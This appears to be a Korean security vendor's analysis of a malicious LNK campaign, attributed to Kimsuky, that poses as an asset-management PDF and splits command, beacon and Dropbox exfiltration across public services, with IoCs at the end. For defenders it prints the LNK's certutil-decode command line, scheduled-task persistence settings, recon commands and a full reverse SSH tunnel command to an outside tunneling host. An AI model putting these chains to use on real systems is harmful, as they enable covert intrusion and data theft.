
명령 전달과 감염 알림, 정보 유출을 서로 다른 정상 서비스에 분산시킨 악성 LNK(바로가기) 파일이 국내 금융 문서로 위장해 유포된 정황이 확인되었습니다.
해당 파일은 PDF 아이콘과 문서 속성 정보를 사용해 정상 문서로 위장하고 있으며, 실행 시 배치 스크립트를 단계적으로 전개해 감염 PC의 정보를 수집하고 외부로 전송합니다.
이번 공격의 가장 큰 특징은 명령제어(C2) 채널의 구성입니다. 그동안 확인된 LNK 기반 공격은 하나의 저장소 또는 하나의 서버가 명령 전달과 정보 수신을 모두 담당하는 형태가 일반적이었으나 이번 공격에서는 명령 배포, 감염 알림, 정보 유출을 서로 다른 세 개의 정상 서비스에 나누어 처리하며, 각 채널은 자신이 맡은 기능만 수행하고 나머지 기능은 갖고 있지 않습니다.
LNK 파일을 초기 침투 수단으로 사용하는 방식과 국내 업무 문서를 미끼로 활용하는 표적 성향은 북한 연계 해킹 조직인 김수키(Kimsuky)의 기존 공격과 일치하여 해당 조직의 소행으로 추정하고 있습니다. 다만 채널을 기능별로 나누어 운용하는 구성은 그동안 확인된 김수키의 LNK 공격에서 나타나지 않았던 방식으로, 동일 조직이 새로운 형태의 악성 LNK를 유포한 것으로 판단됩니다.
공격은 LNK 파일 실행을 기점으로 스테이지1 설치 스크립트, 스테이지2 주기 다운로더, 정찰 및 유출 스크립트로 이어집니다. 각 단계에 필요한 파일은 모두 외부 저장소에서 내려받으며, 공격자가 자체 구축한 서버는 전 과정에서 확인되지 않았습니다. 감염 PC와 공격자가 직접 연결되지 않고 공개 저장소를 중간 거점으로 삼는 데드드롭(Dead Drop) 방식에 해당합니다.
💡 참고하세요
데드드롭(Dead Drop) 방식
감염된 PC와 공격자가 직접 통신하지 않고, 중간 저장소에 명령과 결과를 올려 두는 방식입니다. 냉전기 첩보 활동에서 특정 장소에 물건을 숨겨 두고 서로 마주치지 않은 채 주고받았던 방법에서 이름을 따왔습니다.
이번 공격에서는 GitHub 공개 저장소가 그 역할을 담당합니다. 감염 PC는 GitHub에 접속해 파일을 내려받기만 하므로, 네트워크 장비 입장에서는 개발자가 소스 코드를 받아 가는 정상 트래픽과 구분하기 어렵습니다.
1단계 - LNK 실행과 스테이지1 생성
LNK 파일의 실행 대상은 문서 편집기가 아니라 콘솔 호스트 프로세스인 conhost.exe입니다. 창 스타일은 최소화 상태로 지정되어 실행 화면이 사용자에게 노출되지 않으며, 아이콘과 속성 정보는 PDF 문서 형태로 위장했습니다.

사용자가 PDF 파일로 오인하여 LNK 파일을 실행하게 되면 다음 네 단계가 하나의 명령줄로 연결되어 처리됩니다.
conhost.exe --headless cmd /c (echo <Base64 6,830자>
>> C:\Users\Public\Downloads\kid1253514379.tmp)
& (copy c:\windows\system32\certutil.exe ...\kid1253514379.exe /y)
& (...\kid1253514379.exe -decode ...tmp ...bat)
& (...\kid1253514379.bat jas.pdf "자산운용보고서_DS020_20867878.pdf")

LNK 인자로 삽입된 Base64 데이터를 C:\Users\Public\Downloads\kid1253514379.tmp로 저장하고, 같은 폴더에 정상 certutil.exe 파일을 kid1253514379.exe 라는 이름으로 복사한 뒤 이를 이용해 Base64 데이터를 디코딩하여 kid1253514379.bat 파일을 생성합니다.
이어서 생성된 배치 파일에 저장소에서 내려받을 미끼 파일명 jas.pdf 와 사용자 화면에 표시할 파일명(자산운용보고서_DS020_20867878.pdf)을 인자로 전달해 실행합니다.
2단계 - 미끼 문서 표시와 지속성 확보
생성된 배치 스크립트는 설치를 담당하며, 작업을 마친 뒤 스스로 삭제됩니다. 실행 직후 프로세스 목록에서 이름에 dbg.exe가 포함된 항목을 검사해 x64dbg, WinDbg, OllyDbg와 같은 디버거가 동작 중이면 후속 행위 없이 종료합니다.
검사를 통과하면 공격자의 저장소에서 미끼 PDF(jas.pdf )를 내려받아 사용자에게 지정된 파일명(자산운용보고서_DS020_20867878.pdf)으로 열어 줍니다. 다운로드가 실패한 경우에도 안내 문구(Cannot open document.)만 담긴 파일을 만들어 열기를 시도하므로, 사용자는 문서가 열렸다고 인식하게 됩니다.

화면에 문서가 표시되는 동안 백그라운드 에서는 C:\Users\Public\Videos\Samples\경로에 다음 네 개의 설정 파일이 생성됩니다.
| 파일 | 내용 | 역할 |
| bin.ini | pasco80/config | 접속할 GitHub 사용자 및 저장소 |
| conf.ini | init.dat | 주기적으로 내려받을 파일명 |
| token.ini | lns | 캠페인 식별자, 후속 스크립트 인자로 전달 |
| mark.ini | huinan | 설치 완료 표식, 중복 설치 방지 |
[표 1] 생성되는 설정 파일
이어서 스크립트 내부에 하드코딩된 Base64 데이터를 복원해 스테이지2 배치 스크립트를 만들고, 저장소에서 kid.dat 파일을 taskhostw.exe라는 이름으로 내려받습니다. 이 파일은 악성코드가 아닌 NirSoft에서 배포하는 정상 유틸리티 NirCmd이며, 창을 표시하지 않고 프로그램을 실행하는 exec hide 명령을 사용하기 위해 반입한 도구입니다.
지속성 확보를 위해 작업 스케줄러를 등록하며, 작업명은 정상 클라우드 서비스의 유지 작업처럼 보이도록 구성했습니다.
작업명 : OneDrive KeepAlive_<난수><난수>
주기 : /sc minute /mo 5 (5분)
동작 : taskhostw.exe exec hide <스테이지2.bat>
kid.dat 다운로드에 실패하면 WScript.Shell 객체를 사용하는 VBS 파일을 대신 생성해 동일한 주기로 스테이지2를 실행합니다. 도구 반입이 차단된 환경에서도 지속성이 유지되는 구조이며, 레지스트리 Run 키 등록이나 서비스 생성은 확인되지 않았습니다.
이 과정에서 공격자는 자체 제작한 악성 실행 파일 대신, 시스템 내장 도구를 활용하는 LOLBin(Living Off the Land Binary) 기법을 주된 회피 수단으로 사용했습니다. 파일 복원과 지속성 확보를 모두 정상 시스템 도구로 처리하여 검사 대상이 될 파일 자체를 남기지 않음으로써 보안 탐지를 효과적으로 우회했습니다.
💡 참고하세요
LOLBin(정상 도구 악용)
Windows 정상 실행 파일을 악성 목적에 사용하는 기법입니다. 인증서 관리 도구인 certutil.exe는 파일을 내려받고 Base64로 인코딩된 데이터를 복원하는 기능을 함께 갖추고 있어, 별도의 악성 프로그램 없이 다운로더와 디코더 역할을 대신할 수 있습니다.
이번 공격에서 certutil.exe는 두 가지 용도로 동원됩니다. 시스템에 curl.exe가 없는 환경에서는 -urlcache 옵션으로 파일을 내려받고, 그 밖의 경우에는 -decode 옵션으로 Base64 복원만 담당합니다. 어느 경우든 원본이 아니라 이름을 바꾼 복사본이 사용됩니다.
3단계 - 5분 주기 다운로더
스테이지2 배치 파일은 설정 파일 bin.ini와 conf.ini 이 존재하지 않으면 즉시 종료하며, 존재하는 경우에는 레지스트리(HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid)에서 MachineGuid 값을 읽어 감염 PC의 식별자로 사용합니다.
MachineGuid는 Windows 설치 시점에 기록되는 고유값으로 시스템마다 다르며, 사용자가 임의로 변경하지 않는 한 유지됩니다.

이후 공격자의 저장소에서 다음의 두 개의 파일을 순서대로 요청합니다.
첫 번째 init.dat은 모든 감염 PC가 공통으로 받는 정찰 스크립트입니다. 두 번째는 파일명이 곧 감염 PC의 식별자이므로, 공격자가 저장소에 해당 파일을 올려 둔 PC만 추가 명령을 수신합니다. 그 밖의 PC는 GitHub의 404 오류 페이지를 받으며, 스크립트는 응답 선두가 HTML 태그로 시작하면 처리를 중단합니다.
내려받은 파일은 모두 Base64 형태이며, 위장한 certutil 복사본으로 복원한 뒤 배치 파일로 실행됩니다. 스테이지2 자체는 자기 파일을 삭제하지 않고, 예약 작업이 5분마다 다시 호출합니다.
4단계 - 정찰과 감염 알림
init.dat을 복원하면 정찰과 유출을 담당하는 배치 스크립트가 나옵니다. 수집 항목은 다음과 같으며, 결과는 임시 파일 하나에 순서대로 기록됩니다.
| 순서 | 명령 | 수집 내용 |
| 1 | echo %inf% | MachineGuid, 사용자명, 캠페인 식별자 조합 |
| 2 | echo %COMPUTERNAME% | 컴퓨터 이름 |
| 3 | ver | 운영체제 버전 |
| 4 | net user | 로컬 계정 목록 |
| 5 | tasklist | 실행 중인 프로세스 목록 |
| 6 | systeminfo | 시스템 상세 정보 |
| 7 | ipconfig /all | 네트워크 구성 정보 |
| 8 | dir Recent, ProgramFiles | 최근 사용 문서 및 설치 프로그램 목록 |
[표 2] 정찰 항목
수집이 끝나면 감염 알림 요청이 발생합니다. 공개 호스팅 서비스에 개설된 WordPress 사이트로 GET 요청을 한 번 보내는데, 요청 주소의 쿼리 문자열에 MachineGuid, 사용자명, 캠페인 식별자, 컴퓨터 이름이 포함되어 있습니다.
이 요청에서 확인된 특이점은 응답을 처리하는 코드가 존재하지 않는다는 것입니다. 다운로드 도구를 호출하면서 출력 파일을 지정하지 않아 응답 본문은 그대로 버려지며, 내용을 변수에 담거나 실행하는 구문도 없습니다. 실제 접속 확인 결과 해당 주소는 정상 응답을 반환하되 본문은 비어 있었습니다.
전달되는 정보가 요청 주소 자체에 담겨 있기 때문에 응답이 필요하지 않은 구조입니다. 웹 서버는 들어온 요청 주소를 접속 기록에 남기므로, 공격자는 서버에 별도 기능을 구현하지 않고 기록의 식별자 값만 확인해 감염 PC 목록을 파악할 수 있습니다. 명령을 주고받는 통로가 아니라 감염 사실만 일방적으로 알리는 비콘(Beacon)에 해당합니다.
💡 참고하세요
비콘(Beacon)
감염된 PC가 살아 있음을 알리려고 보내는 짧은 통신을 뜻합니다. 등대가 신호를 보내기만 하는 것처럼, 정보를 전달하되 상대의 응답을 받아 처리하지는 않습니다.
일반적인 명령제어 통신은 요청과 응답이 오가며 공격자의 지시가 내려옵니다. 이번 공격의 통지 채널은 응답을 사용하지 않으므로 명령 통로가 아니며, 감염 사실과 식별 정보만 전달하는 역할에 한정됩니다. 다운로드가 발생하지 않고 전송량도 미미해 유출 탐지 체계에 포착되기 어렵지만, 요청 주소에 시스템 식별 정보가 평문으로 실려 나가는 명백한 정보 노출에 해당합니다.
5단계 - Dropbox를 통한 정보 유출
수집한 파일의 전송에는 Dropbox 공식 API를 사용합니다. 스크립트에 하드코딩된 자격 증명으로 액세스 토큰을 발급받은 뒤, 감염 PC별로 구분된 폴더에 파일을 업로드합니다.

자격 증명은 탐지를 피하기 위해 스크립트 안에서 두 줄로 나뉘어 저장되었다가 실행 시점에 결합됩니다. 문자열 조각을 분리해 두는 방식은 저장소 주소와 실행 파일명에도 동일하게 적용되어 있습니다.
전송이 완료되면 수집 파일과 인증 응답, 반입한 도구의 복사본을 모두 삭제합니다. 감염 PC에는 설정 파일과 스테이지2 스크립트, 예약 작업만 남게됩니다.
6단계 - 선별된 PC의 저장소 전환
스테이지2의 배치파일이 접속하는 저장소에는 <MachineGuid>.dat 형태의 파일이 두 개 존재했고, 두 파일의 내용은 동일했습니다. 이 스크립트가 수행하는 작업은 설정 파일 bin.ini의 내용을 다른 저장소 경로로 교체하는 것뿐입니다.
교체 이후 스테이지2는 다음 주기(약 5분뒤)부터 새 저장소를 조회하여 아래 파일을 요청 합니다.
이 한 줄의 교체가 갖는 의미는 저장소마다 배치되어 있는 스크립트의 성격이 서로 다르다는 점에서 드러납니다. 확보한 세 저장소는 다음과 같이 역할이 나뉘어 있었습니다.
| 저장소 | 주기 실행 파일 | 정찰 범위 | 감염 알림 | 호스트별 명령 파일 |
| pasco80/config | init.dat | 시스템 정보 8종 전체 | 있음 | {MachineGuid}.dat - 저장소 전환 |
| philipshub/linkable | init.dat | 프로세스 목록 수준 | 없음 | 없음 |
| philipshub/download | init.dat | 프로세스 목록 + netstat -an | 없음 | {MachineGuid}.dat - 원격 접속 설치 |
[표 3] 저장소 별 스크립트 역할
세 저장소 모두 주기적으로 실행되는 파일명은 init.dat으로 동일합니다. 스테이지2는 conf.ini에 적힌 이름만 요청하므로, bin.ini의 저장소 경로가 바뀌면 같은 이름으로 다른 내용의 스크립트를 받게 됩니다.
초기 저장소(pasco80/config)는 감염 직후 최대한 많은 정보를 확보하는 데 맞춰져 있습니다. 시스템 정보와 계정, 네트워크 구성, 최근 문서 목록까지 수집하고 감염 알림까지 보내어 노출 위험이 크지만, 표적을 가려내려면 이 정보가 필요합니다.
선별이 끝난 뒤에는 관심 대상으로 판단한 PC는 오래 유지해야 하므로 활동을 줄이는 편이 유리합니다. 전환된 저장소(philipshub/linkable)의 스크립트에서 감염 알림 요청이 사라지고 수집 항목이 프로세스 목록 수준으로 축소되는 것은 이 때문으로 보입니다. 유출 경로에도 구분용 접미사(_ph)가 붙어 전환 이전 기록과 분리되어 축적됩니다.
원격 접속을 설치하는 스크립트가 별도 저장소에만 놓여 있다는 점도 같은 맥락입니다. 스테이지2는 bin.ini에 적힌 저장소만 조회하므로, 해당 값이 그 저장소로 바뀌기 전에는 아무리 오래 감염 상태가 유지되어도 원격 접속 관련 파일을 요청하지 않습니다. 결국 bin.ini에 적힌 값이 그 PC의 처리 단계를 결정하며, 공격자는 이 값을 바꾸는 것만으로 정찰 대상을 후속 공격 대상으로 옮길 수 있습니다.
이러한 해석을 뒷받침하는 정황이 다른 저장소(philipshub/download)에서 확인되었습니다. 이번 LNK가 처음 접속하는 저장소는 아니지만, 같은 공격자가 운영하는 해당 저장소에는 이번 공격과 동일한 캠페인 식별자(lns)를 부여받은 감염 PC의 MachineGuid를 파일명으로 하는 스크립트가 존재했습니다. 해당 스크립트는 암호가 설정된 압축 파일에서 두 개의 실행 파일을 꺼내 역방향 터널을 설치하는 내용이었습니다.
역방향 터널 설정 명령
nodejs.exe -p 443 -R0:127.0.0.1:9090 -o StrictHostKeyChecking=no -o ServerAliveInterval=30 <계정>@free[.]pinggy[.]io
파일명은 OpenSSH 클라이언트를 개발 도구로 위장한 것이며, -R 옵션은 감염 PC의 로컬 포트를 외부 터널링 서비스에 노출하는 원격 포트 포워딩입니다. 443 포트를 사용해 일반적인 HTTPS 트래픽과 구분이 어렵고, 호스트 키 확인 절차를 생략해 사용자 개입 없이 연결이 성립합니다.
정찰 단계에 머물던 감염 PC가 bin.ini 교체를 거쳐 이후 단계로 옮겨지고, 최종적으로 원격 접속 대상이 될 수 있음을 보여주는 사례입니다. 이 단계까지 진행되면 정보가 유출되는 수준을 넘어 공격자가 필요할 때 직접 접속할 수 있는 상태가 됩니다.
💡 참고하세요
역방향 터널(Reverse Tunnel)
일반적으로 외부에서 사내 PC로 직접 접속하는 통신은 방화벽에서 차단됩니다. 역방향 터널은 이 제약을 우회하는 방법으로, 감염된 PC가 스스로 외부 서버를 향해 연결을 만든 뒤 공격자가 그 통로를 거꾸로 타고 들어오는 구조입니다.
내부에서 밖으로 나가는 연결은 대체로 허용되기 때문에, 방화벽 설정을 변경하지 않고도 상시 접속 경로가 만들어집니다.
지금까지 살펴본 과정에서 외부 통신이 발생하는 지점을 채널 단위로 정리하면 다음과 같습니다. 세 개 채널은 각자 맡은 기능만 수행합니다.
| 채널 | 서비스 | 담당 기능 | 특이 사항 |
| 명령 배포 | GitHub 공개 저장소 | 설정 파일 배포, 도구 반입, 감염 PC별 개별 명령 전달 | 유출 데이터를 수신하지 않음 |
| 감염 알림 | 공개 호스팅에 개설된 WordPress | 감염 PC 식별자를 요청 주소에 실어 전달 | 응답을 반환하지 않으며 명령 채널로 사용되지 않음 |
| 정보 유출 | Dropbox Content API | 수집 파일을 감염 PC별 폴더에 업로드 | 명령을 내려받지 않음 |
| 원격 접속 | 공개 터널링 서비스 | 선별된 PC에 상시 접속 경로 확보 | 전체 감염 PC가 아닌 일부에만 적용 |
[표 4] 채널별 역할 분담
기능을 나누어 구성함으로써 하나의 채널이 차단되어도 나머지 기능은 그대로 동작하므로 공격 전체가 중단되지 않습니다. 유출 트래픽만 관찰하는 경우 명령 수신 사실을 확인할 수 없고, 반대로 저장소 접속만 확인하는 경우 어떤 정보가 유출됐는지 파악할 수 없습니다. 채널을 하나씩 발견하더라도 그것이 전체 구조의 일부인지 판단하기 어렵다는 점도 대응을 지연시키는 요인입니다.
이번 공격은 코드를 감추는 대신 사용하는 도구와 인프라를 모두 정상 요소로 채워 넣는 데 집중합니다. Windows에 기본 포함된 실행 파일과 공개 클라우드 서비스만으로 전체 흐름을 구성하면 파일 자체는 평범하고 통신 대상도 신뢰받는 도메인이므로, 탐지 지점이 오히려 줄어듭니다.
| 항목 | 기존 확인 유형 | 이번 공격 |
| C2 채널 | 저장소 또는 서버 1개가 전 기능 담당 | 기능별로 4개 채널 분리 |
| 명령 전달 | 감염 PC 전체에 동일 적용 | MachineGuid 단위로 특정 PC만 지정 |
| 감염 알림 | 별도 절차 없음 | 응답을 사용하지 않는 단방향 요청으로 분리 |
| 실행 스크립트 | 파워셸(PowerShell) 중심 | 배치(BAT) 스크립트 중심 |
| 암호화 | RC4, AES-256, 치환 암호 등 적용 | 표준 Base64 인코딩만 사용 |
| 지속성 | 예약 작업 또는 시작프로그램 등록 | 5분 주기 예약 작업, 실패 시 VBS 대체 경로 확보 |
[표 5] 기존 유형과의 비교
이번 공격에서 확인된 주요 공격 특징을 정리하면 다음과 같습니다.
이번 공격은 정상 문서로 위장한 LNK 파일 하나에서 시작해, 정상 클라우드 서비스에 분산된 네 개의 채널을 통해 정보 수집과 유출, 원격 접속까지 단계적으로 진행됩니다. 사용자가 파일을 실행하는 순간 미끼 문서가 화면에 표시되므로 감염 사실을 인지하기 어렵고, 특히 모든 통신이 신뢰받는 서비스를 거치기 때문에 네트워크 보안 단계에서 차단하기도 까다롭습니다.
이러한 피해를 예방하려면 Windows 탐색기의 '알려진 파일 형식의 파일 확장명 숨기기' 옵션을 해제하고, 실행 전 항상 실제 확장자를 확인해야 합니다. 문서 아이콘으로 위장되어 있더라도 확장자가 LNK인 파일은 실행하지 않도록 각별한 주의가 필요합니다.
IoC
| Indicator | Type | Description | Detection Name |
|---|---|---|---|
| 5FE869D0D68086A231574F83A6C8C35E | MD5 | 악성 LNK | Trojan.Agent.LNK.Gen |
| C7D258F44B4A09850D7CB9A0142EA88E | MD5 | kid1253514379.bat | Trojan.BAT.Agent |
| A253FA2200E4BA4D64592D87DB81B8F6 | MD5 | init.da | Trojan.BAT.Agent |
| A405090029B6B95A65A8884593DFE30D | MD5 | init.da | Trojan.BAT.Agent |
| hxxps://raw[.]githubusercontent[.]com/pasco80/config/refs/heads/main | URL | 공격자 Github 저장소 | |
| hxxps://raw[.]githubusercontent[.]com/philipshub/linkable/refs/heads/main |
URL | 공격자 Github 저장소 | |
| hxxps://raw[.]githubusercontent[.]com/philipshub/download/refs/heads/main/ | URL | 공격자 Github 저장소 | |
| hxxps://nafwo[.]wasmer[.]app/wp-content/uploads/init/?token= | URL | 감염 알림 채널 |
| 상품 파손 사칭 메일로 유포되는 다단계 정보탈취 악성코드 주의 (1) | 2026.08.04 |
|---|---|
| 세무 위반 통지 사칭 피싱 메일을 통한 원격제어 악성코드 유포 주의 (0) | 2026.07.13 |
| Chai.js 플러그인으로 위장한 북한발 npm 악성 패키지 'chai-as-init' 분석 (0) | 2026.06.16 |
| Solana SDK로 위장한 npm 패키지, Telegram Bot API 기반 RAT 유포 (0) | 2026.06.11 |
| 개인정보 유출 의심 문의로 위장한 Kimsuky 스피어피싱 사례 분석 (0) | 2026.06.09 |
댓글 영역